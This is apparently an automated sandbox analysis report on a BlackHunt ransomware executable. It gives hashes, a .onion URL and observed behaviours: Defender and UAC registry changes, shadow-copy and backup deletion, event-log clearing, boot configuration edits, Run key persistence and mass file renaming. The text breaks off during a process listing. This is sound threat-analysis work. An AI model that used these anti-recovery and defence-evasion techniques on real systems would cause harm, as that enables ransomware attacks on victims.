Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
125s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2024, 23:00
Static task
static1
Behavioral task
behavioral1
Sample
36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
Resource
win10v2004-20231222-en
General
-
Target
36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
-
Size
707KB
-
MD5
1161a3593c07cbf0a5def9c504a7f4db
-
SHA1
1feef658897de75aad7470c85ef20457bad087a5
-
SHA256
36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4
-
SHA512
0812abec6709a8925a8ceedb29eeecb4f2ce37cb1c646cee5d46b221a465849313cb5c9d793b044998599ec4b9c32326eaf8a0b2e21261e672d77db03915fdec
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1t8hvnh:6uaTmkZJ+naie5OTamgEoKxLWo1h
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 6596 fsutil.exe 9872 fsutil.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" cmd.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection cmd.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 6352 wevtutil.exe 7552 wevtutil.exe 15056 wevtutil.exe 10136 wevtutil.exe 8816 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 9848 bcdedit.exe 8704 bcdedit.exe 6524 bcdedit.exe 10728 bcdedit.exe -
Renames multiple (3346) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 9876 wbadmin.exe 7932 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\P: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\R: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\S: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\M: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\Q: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\G: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\O: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\Y: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\B: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\T: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\J: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\L: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\Z: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\N: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\A: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\X: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\U: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\H: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\K: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\V: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened (read-only) \??\W: 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 7 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\sv-se\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fi-fi\ui-strings.js 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\root\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ja-jp\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon_hover.png 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\it-it\#BlackHunt_ReadMe.txt 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\zh-cn\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\nl-nl\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files\VideoLAN\VLC\locale\ps\#BlackHunt_ReadMe.txt 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files\VideoLAN\VLC\lua\http\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ko-kr\#BlackHunt_ReadMe.txt 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-cn\ui-strings.js 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\nb-no\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\nls\ui-strings.js 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ko-kr\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\zh-tw\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\base_uris.js 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\da-dk\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ru-ru\#BlackHunt_ReadMe.txt 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files\VideoLAN\VLC\locale\gl\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hr-hr\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ja-jp\#BlackHunt_ReadMe.txt 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\cs-cz\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hu-hu\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ca-es\ui-strings.js 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files\VideoLAN\VLC\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\TrackedSend.aapp 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\es-es\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\css\main-selector.css 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\hu-hu\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\protect_poster.jpg 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\root\#BlackHunt_ReadMe.txt 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\uk-ua\#BlackHunt_ReadMe.txt 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\#BlackHunt_ReadMe.txt 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-cn\#BlackHunt_ReadMe.txt 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\nb-no\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\en-ae\ui-strings.js 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fi-fi\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\tr-tr\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\he-il\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\ko-kr\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nl-nl\ui-strings.js 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-il\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-ae\#BlackHunt_ReadMe.hta 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\s_shared_multi_filetype.svg 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\he-il\#BlackHunt_ReadMe.txt 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sl-si\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\uk-ua\ui-strings.js 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\management\jmxremote.access 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\security\blacklist 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_Private.key 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 10724 4680 WerFault.exe 296 -
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 9704 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 9864 vssadmin.exe 9696 vssadmin.exe 5712 vssadmin.exe 8432 vssadmin.exe 5288 vssadmin.exe 6068 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 4996 taskkill.exe -
Modifies registry class 9 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 cmd.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ cmd.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000_Classes\Local Settings cmd.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon Conhost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" Conhost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1928 PING.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe Token: SeRestorePrivilege 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe Token: SeBackupPrivilege 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe Token: SeTakeOwnershipPrivilege 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe Token: SeAuditPrivilege 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe Token: SeSecurityPrivilege 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe Token: SeIncBasePriorityPrivilege 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe Token: SeBackupPrivilege 10108 vssvc.exe Token: SeRestorePrivilege 10108 vssvc.exe Token: SeAuditPrivilege 10108 vssvc.exe Token: SeBackupPrivilege 7364 wbengine.exe Token: SeRestorePrivilege 7364 wbengine.exe Token: SeSecurityPrivilege 7364 wbengine.exe Token: SeSecurityPrivilege 7552 wevtutil.exe Token: SeBackupPrivilege 7552 wevtutil.exe Token: SeSecurityPrivilege 10136 wevtutil.exe Token: SeBackupPrivilege 10136 wevtutil.exe Token: SeSecurityPrivilege 15056 wevtutil.exe Token: SeBackupPrivilege 15056 wevtutil.exe Token: SeSecurityPrivilege 6352 wevtutil.exe Token: SeBackupPrivilege 6352 wevtutil.exe Token: SeSecurityPrivilege 8816 wevtutil.exe Token: SeBackupPrivilege 8816 wevtutil.exe Token: SeDebugPrivilege 4996 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1508 wrote to memory of 544 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 91 PID 1508 wrote to memory of 544 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 91 PID 1508 wrote to memory of 2596 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 157 PID 1508 wrote to memory of 2596 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 157 PID 1508 wrote to memory of 3696 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 95 PID 1508 wrote to memory of 3696 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 95 PID 1508 wrote to memory of 3756 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 163 PID 1508 wrote to memory of 3756 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 163 PID 544 wrote to memory of 1060 544 cmd.exe 98 PID 544 wrote to memory of 1060 544 cmd.exe 98 PID 1508 wrote to memory of 1660 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 100 PID 1508 wrote to memory of 1660 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 100 PID 2596 wrote to memory of 4648 2596 Conhost.exe 159 PID 2596 wrote to memory of 4648 2596 Conhost.exe 159 PID 1508 wrote to memory of 1524 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 105 PID 1508 wrote to memory of 1524 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 105 PID 3696 wrote to memory of 4312 3696 cmd.exe 155 PID 3696 wrote to memory of 4312 3696 cmd.exe 155 PID 1508 wrote to memory of 2100 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 106 PID 1508 wrote to memory of 2100 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 106 PID 1508 wrote to memory of 2376 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 168 PID 1508 wrote to memory of 2376 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 168 PID 3756 wrote to memory of 2356 3756 cmd.exe 109 PID 3756 wrote to memory of 2356 3756 cmd.exe 